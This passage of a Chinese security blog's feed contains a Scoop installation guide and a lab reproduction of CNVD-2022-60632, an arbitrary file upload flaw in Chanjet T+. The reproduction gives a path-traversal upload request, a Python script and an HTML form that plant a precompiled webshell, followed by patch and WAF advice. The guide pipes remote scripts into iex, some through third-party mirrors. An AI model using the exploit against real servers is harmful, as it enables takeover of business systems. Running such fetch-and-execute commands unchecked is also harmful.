Last-Modified: Wed, 14 Aug 2024 19:06:24 GMT
X-Ms-ApiVersion: Distribute 1.2
X-Ms-Region: prod-weu-z1
Accept-Ranges: bytes
Date: Tue, 20 Aug 2024 14:18:59 GMT
Via: 1.1 varnish
Age: 59889
X-Served-By: cache-nrt-rjtf7700073-NRT
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1724163539.200758,VS0,VE1
X-CID: 3
X-CCC: JP
</code></pre>
<p>其中需要在响应头关注的内容：</p>
<ul>
<li><strong>accept-ranges</strong>: bytes 表示可以分段下载</li>
<li><strong>content-length</strong>: 139516845 表示文件的大小</li>
</ul>
<ol>
<li>这里我们把文件大小数值-1000000，下载最后1M大小的内容，保存为vscode.zip</li>
</ol>
<pre><code>curl -H "Range: bytes=138516845-" https://vscode.download.prss.microsoft.com/dbazure/download/stable/fee1edb8d6d72a0ddff41e5f71a671c23ed924b9/VSCode-win32-x64-1.92.2.zip -o vscode.zip
</code></pre>
<ol>
<li>最后使用zipinfo命令的<code>-s</code>参数查看文件列表</li>
</ol>
<pre><code>zipinfo -s vscode.zip
</code></pre>
<p>输出：</p>
<pre><code>Archive:  vscode.zip
Zip file size: 1000000 bytes, number of entries: 1504
error [vscode.zip]:  missing 138516845 bytes in zipfile
  (attempting to process anyway)
drwx---     6.3 fat        0 bx stor 24-Aug-14 18:50 bin/
-rw-a--     6.3 fat     2001 bx defN 24-Aug-14 18:14 bin/code
-rwxa--     6.3 fat 20124728 bx defN 24-Aug-14 18:50 bin/code-tunnel.exe
-rwxa--     6.3 fat      178 bx defN 24-Aug-14 18:14 bin/code.cmd
-rw-a--     6.3 fat   150045 bx defN 24-Aug-14 18:14 chrome_100_percent.pak
-rw-a--     6.3 fat   225418 bx defN 24-Aug-14 18:14 chrome_200_percent.pak
-rwxa--     6.3 fat 167933360 bx defN 24-Aug-14 18:51 Code.exe
......
</code></pre>]]></content>
    <category term="Tips" />
  </entry>
  <entry>
    <title>使用Scoop（Win­dows 命令行安装工具）实现安全工具安装及自动更新</title>
    <link href="https://oopsunix.com//posts/scoop" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/scoop</id>
    <updated>2024-04-10T00:00:00.000Z</updated>
    <published>2024-04-10T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[
<p>Linux和MacOS都有包管理工具，如apt、brew，只需敲几个命令，就可以轻松实现软件的安装、更新、删除。但是在Windows安装、更新软件，是件相当繁琐和耗费时间的事情，效率太低，尤其是遇到不带自动更新的工具，每次都需要我们手动去下载。借助Scoop，可以像在Linux或macOS上使用apt或brew一样，轻松地下载和更新各种软件。</p>
<p>日常效果：</p>
<p>**安全工具一键更新：**使用<code>scoop update *</code>命令一键更新已安装的工具到最新版</p>
<img src="https://cfs.whoopscs.com/md/image-20240920183252906.png" alt="image-20240920183252906" />
<p>**BurpSuite 插件更新：**对应插件重新勾选一下就是最新版</p>
<img src="https://cfs.whoopscs.com/md/image-20240920223557706.png" alt="image-20240920223557706" />
<h2>项目简介</h2>
<p>Scoop 是是一个开源的Windows命令行包管理器，由JavaScript编写，并通过PowerShell脚本运行，类似于 De­bian 的 apt、ma­cOS 的 homebrew。虽然 Scoop 的作者在项目的 GitHub Wiki 中谈到， Scoop 只是一个安装工具（installer），不应该被称为包管理器（package manager）。但是对于使用者而言，它与我们一般认为的软件包管理工具其实很是相似。</p>
<p>官网：<a href="https://scoop.sh/" rel="noopener noreferrer" target="_blank">https://scoop.sh</a></p>
<h2>环境要求</h2>
<ul>
<li>确保已安装 <a href="https://aka.ms/wmf5download" rel="noopener noreferrer" target="_blank">Windows PowerShell 5.1</a>或者更高版本<a href="https://aka.ms/powershell" rel="noopener noreferrer" target="_blank">PowerShell</a></li>
<li>确保以允许<code>Powershell</code> 执行本地脚本</li>
</ul>
<h2>安装 Scoop</h2>
<h3>更改 powershell 脚本执行权限</h3>
<pre><code>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
</code></pre>
<p>在windows中默认不允许任何脚本运行，所以我们可以使用 **<code>Set-ExecutionPolicy</code>**来改变PowerShell运行环境，共有4种运行权限，如下所示：</p>
<ul>
<li><strong>Restricted</strong>——默认的设置，不允许任何script运行；</li>
<li><strong>AllSigned</strong>——只能运行经过数字证书签名的script；</li>
<li><strong>RemoteSigned</strong>——运行本地的script不需要数字签名，但是运行从网络上下载的script就必须要有数字签名（使用脚本安装scoop这一等级就行）；</li>
<li><strong>Unrestricted</strong>——允许所有的脚本运行；</li>
</ul>
<h3>典型安装</h3>
<p>在非管理员的PowerShell中运行此命令，以默认配置安装scoop</p>
<pre><code>irm get.scoop.sh | iex
</code></pre>
<p>如果你在访问GitHub时遇到网络问题，你可以使用代理，例如：</p>
<pre><code>Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://gh.llkk.cc/https://raw.githubusercontent.com/scoopinstaller/install/master/install.ps1')
</code></pre>
<p>或者</p>
<pre><code>Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://gitcode.com/gh_mirrors/inst/Install/blob/master/install.ps1')
</code></pre>
<blockquote><p><strong>Scoop</strong> 将默认把所有用户安装的 App 和 <strong>Scoop</strong> 本身置于<code>C:\Users\&lt;你的用户名&gt;\scoop</code>，如果需要自定义安装位置，请选择高级安装。</p></blockquote>
<h3>高级安装</h3>
<p>如果你想高级安装。你可以下载安装程序，然后用参数手动执行它。</p>
<pre><code>irm get.scoop.sh -outfile 'install.ps1'
</code></pre>
<p>如果你在访问GitHub时遇到网络问题，你可以使用代理，例如：</p>
<pre><code>curl -o scoop_install.ps1 https://gh.llkk.cc/https://raw.githubusercontent.com/scoopinstaller/install/master/install.ps1
</code></pre>
<blockquote><p>查看安装程序的所有可配置参数。</p><pre><code>./scoop_install.ps1 -?
</code></pre></blockquote>
<p>例如，将 scoop 安装到一个<strong>自定义目录（D:\Scoop）</strong>，并在安装时使用代理</p>
<pre><code>./scoop_install.ps1 -ScoopDir 'D:\Scoop' -Proxy 'http://127.0.0.1:7890'
</code></pre>
<h3>设置全局代理安装</h3>
<p>在国内访问github总是不成功，而且scoop的大部分包都在github，那么配置scoop的下载代理，将会极大的提高效率。</p>
<pre><code># 设置全局代理
scoop config proxy 127.0.0.1:7890

# 取消代理：
scoop config proxy None
</code></pre>
<pre><code># 先设置 PowerShell 允许执行未签名脚本
set-executionpolicy remotesigned -s currentuser

# 下载 Scoop 安装脚本进行安装
iex (new-object net.webclient).downloadstring('https://get.scoop.sh')
</code></pre>
<p>由于 Scoop 的安装脚本托管在 GitHub 的仓库里，所以对于无法正常访问 GitHub 的用户来说，安装的时候可能需要加一层全局代理后再进行安装。</p>
<h2>基础使用</h2>
<ul>
<li>查看命令列表：</li>
</ul>
<pre><code>scoop help
</code></pre>
<ul>
<li>搜索软件</li>
</ul>
<pre><code>scoop search &lt;app&gt;
</code></pre>
<ul>
<li>安装软件</li>
</ul>
<pre><code>scoop install &lt;app&gt;
</code></pre>
<ul>
<li>查看软件详细信息</li>
</ul>
<pre><code>scoop info &lt;app&gt;
</code></pre>
<ul>
<li>卸载软件</li>
</ul>
<pre><code>scoop uninstall &lt;app&gt;
</code></pre>
<ul>
<li>一次性卸载多个软件</li>
</ul>
<pre><code>scoop uninstall &lt;app&gt; &lt;app&gt;
</code></pre>
<ul>
<li>更新 scoop 本体和软件列表</li>
</ul>
<pre><code>scoop update
</code></pre>
<ul>
<li>更新指定软件</li>
</ul>
<pre><code>scoop update &lt;app&gt;
</code></pre>
<ul>
<li>更新所有已安装的软件</li>
</ul>
<pre><code>scoop update *
</code></pre>
<ul>
<li>查看已安装的程序</li>
</ul>
<pre><code>scoop list
</code></pre>
<ul>
<li>查看哪些程序可以升级</li>
</ul>
<pre><code>scoop status
</code></pre>
<p><strong>更多详情请官网安装说明书： <a href="https://github.com/ScoopInstaller" rel="noopener noreferrer" target="_blank">ScoopInstaller</a></strong></p>
<h2>进阶使用</h2>
<h3>bucket</h3>
<p>所有的包管理器都会有相应的软件仓库 ，Scoop 管理存放软件包描述文件的地方叫做桶（Bucket），桶里面就是一个个 json 格式的软件包描述文件，类似Homebrew 的 Tap，关于桶的详细概念可以查看一下 Scoop 的 Wiki 页。</p>
<p>Scoop 默认软件仓库（main bucket）软件数量是有限的，但是可以添加第三方 bucket。</p>
<h3>安装<code>scoop-security</code></h3>
<blockquote><p><strong>scoop-security</strong> 是用于 Scoop 的软件仓库，本项目旨在提供用于Windows平台渗透测试和网络安全相关工具的快捷安装、管理和自动更新。</p></blockquote>
<p>确保你已经有 Scoop 环境后，执行以下命令订阅本软件仓库：</p>
<pre><code>//scoop bucket add &lt;仓库别名&gt; &lt;仓库地址&gt;

scoop bucket add sec https://github.com/whoopscs/scoop-security
</code></pre>
<ul>
<li>查找软件</li>
</ul>
<pre><code>scoop search sec/nuclei
//或者
scoop search nuclei
</code></pre>
<ul>
<li>安装本仓库中的软件：</li>
</ul>
<pre><code>scoop install sec/nuclei
//或者
scoop install nuclei
</code></pre>
<p>大多数情况下，是可以省略仓库别名 <code>sec/</code>，只需要执行类似 <code>scoop install nuclei</code> 的命令，除非安装的多个仓库都有此软件，则需要指定安装来源仓库。</p>
<h4>软件自动更新</h4>
<p>本仓库已经添加 github ci 自动化，每隔几个小时会自动更新所有软件到最新版本</p>
<h3>软件环境变量</h3>
<p>Scoop 默认不会污染用户的 PATH 环境变量（除非软件包有修改环境变量的定义），而是使用垫片（shims）来进行统一管理调用执行文件。</p>
<hr />
<blockquote><p>更多信息请查看 <a href="https://github.com/ScoopInstaller/Scoop/wiki" rel="noopener noreferrer" target="_blank">官方文档</a>。</p></blockquote>]]></content>
    <category term="Tools" />
  </entry>
  <entry>
    <title>畅捷通T+任意文件上传漏洞复现(CNVD-2022-60632)</title>
    <link href="https://oopsunix.com//posts/cnvd-2022-60632" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/cnvd-2022-60632</id>
    <updated>2022-09-14T00:00:00.000Z</updated>
    <published>2022-09-14T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[
<h2>一、环境安装</h2>
<p><a href="https://www.chanjetvip.com/product/goods/download-list?id=53aaa40295d458e44f5d3ce5" rel="noopener noreferrer" target="_blank">https://www.chanjetvip.com/product/goods/download-list?id=53aaa40295d458e44f5d3ce5</a></p>
<p>选择17.0</p>
<p><a href="https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip" rel="noopener noreferrer" target="_blank">https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip</a></p>
<p>建议选择迅雷下载。解压后选择标准版安装</p>
<blockquote><p>⚠<strong>安全软件需关闭</strong></p></blockquote>
<p>过程中需要配置MSSQL 数据库的。不设置即可</p>
<h2>二、漏洞分析</h2>
<p>略</p>
<h2>三、漏洞复现</h2>
<h3>漏洞信息：</h3>
<ul>
<li>漏洞编号：CNVD-2022-60632</li>
<li>适用版本：<code>&lt;=v17.0</code></li>
<li>漏洞类型：任意文件上传</li>
<li>漏洞危害：可实现RCE获取主机权限</li>
<li>涉及接口：/tplus/SM/SetupAccount/Upload.aspx?preload=1</li>
</ul>
<h3>漏洞利用</h3>
<h4><strong>1、预编译aspx文件</strong></h4>
<p><strong>使用Microsoft.NET的aspnet_compiler.exe预编译webshell文件</strong></p>
<pre><code>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe -v / -p "E:\学习ing\2022\vul\畅捷通 T+任意文件上传漏洞\b1" "E:\学习ing\2022\vul\畅捷通 T+任意文件上传漏洞\b2" -fixednames
</code></pre>
<p>-p 代表webshell的目录。 C:\Users\administrator\Desktop\2 代表预编译文件保存目录。（不可为同一目录）</p>
<p>以冰蝎webshell的aspx文件为例，复制到1文件夹下，执行上述命令，即可在2文件夹bin目录下看到：</p>
<img src="./assets/image-20220914231920957.png" alt="image-20220914231920957" />
<h4>2、compiled文件上传</h4>
<pre><code>POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.199.134
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 504

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/load.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg

&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;preserve resultType="3" virtualPath="/load.aspx" hash="62838a9aa" filehash="1eb3b21218d7" flags="110000" assembly="App_Web_load.aspx.cdcab7d2" type="ASP.load_aspx"&gt;
    &lt;filedeps&gt;
        &lt;filedep name="/load.aspx" /&gt;
    &lt;/filedeps&gt;
&lt;/preserve&gt;
------WebKitFormBoundarywwk2ReqGTj7lNYlt--
</code></pre>
<p>使用burpsuite抓包重放如下请求</p>
<img src="./assets/image-20220914232446588.png" alt="image-20220914232446588" />
<h4>3、dll文件上传</h4>
<h5>方法一：Python上传</h5>
<p>这里需使用 Python 模拟 multipart/form-data 请求，Python代码如下</p>
<pre><code># coding: utf-8
import requests
import re

def upload_dll():
    files = {
             'File1': ('../../../bin/App_Web_load.aspx.cdcab7d2.dll', open('C:\\Users\\administrator\\Desktop\\2\\bin\\App_Web_load.aspx.cdcab7d2.dll', 'rb'), 'image/jpeg')
             }
    response = requests.post(url=upload_url, headers=headers, files=files)
    print(response.text)
    if response.status_code == 200 and re.search('无标题页', response.text) != None:
        check_url = 'http://192.168.199.134/tplus/load.aspx?preload=1'
        check_res = requests.get(url=check_url, headers=headers)
        print(re.search('错误信息(.*)(?=堆栈是)', check_res).group())

if __name__ == '__main__':
    # 上传链接
    upload_url = 'http://192.168.199.134/tplus/SM/SetupAccount/Upload.aspx?preload=1'
    # 请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'
    }

    upload_dll()
</code></pre>
<p>上传完成之后访问如下链接验证webshell：</p>
<p><a href="http://192.168.199.134/tplus/load.aspx?preload=1" rel="noopener noreferrer" target="_blank">http://192.168.199.134/tplus/load.aspx?preload=1</a></p>
<p>如果出现<code>错误信息:文件“/tplus/load.aspx”不存在。</code>则表示上传失败</p>
<img src="./assets/image-20220914232936379.png" alt="image-20220914232936379" />
<h5>方法二：html表单上传</h5>
<p>尝试构造本地HTML表单，burp拦截进行文件上传</p>
<p>dllupload.html</p>
<pre><code>&lt;form action="http://192.168.199.134/tplus/SM/SetupAccount/Upload.aspx?preload=1" method="post" enctype="multipart/form-data"&gt;
    &lt;div&gt;&lt;input type="file" name="File1"&gt;&lt;/div&gt;
    &lt;div&gt;&lt;input type="submit" value="上传"&gt;&lt;/div&gt;
&lt;/form&gt;
</code></pre>
<p>发现compiled文件可以正常上传，但是dll文件上传后会无法连接，尝试访问shell地址，发现报如下错误信息。</p>
<img src="./assets/image-20220914232640419.png" alt="image-20220914232640419" />
<p>经过多次进行测试验证，最终找到问题根源。<strong>burp拦截上传dll请求时，需要将字体改为默认字体（consolas）</strong>，不然保存的文件内容和源文件内容不一样。</p>
<img src="./assets/image-20221016200502528.png" alt="image-20221016200502528" />
<h4>4、webshell链接</h4>
<p>使用webshell工具链接上述地址</p>
<blockquote><p>一定要加preload=1 这个。不然他还是走了验证的通道</p></blockquote>
<img src="./assets/image-20220914232828783.png" alt="image-20220914232828783" />
<h2>四、修复方案</h2>
<ul>
<li>官方补丁， <a href="https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5" rel="noopener noreferrer" target="_blank">https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5</a></li>
<li>WAF拦截，由于这是一个常规的上传漏洞，很多waf都是有默认的拦截能力的，需要的话也可以将 <code>/tplus/SM/SetupAccount/Upload.aspx</code> 路径进行主动拦截。</li>
</ul>
<p><strong>参考链接</strong></p>
<ul>
<li><a href="https://www.o2oxy.cn/4104.html" rel="noopener noreferrer" target="_blank">CNVD-2022-60632 畅捷通任意文件上传漏洞复现 - print("") (o2oxy.cn)</a></li>
<li><a href="https://www.buaq.net/go-53733.html" rel="noopener noreferrer" target="_blank">从0开始到Exploit工具编写 (buaq.net)</a></li>
</ul>]]></content>
    <category term="CNVD" />
    <category term="漏洞复现" />
  </entry>
</feed>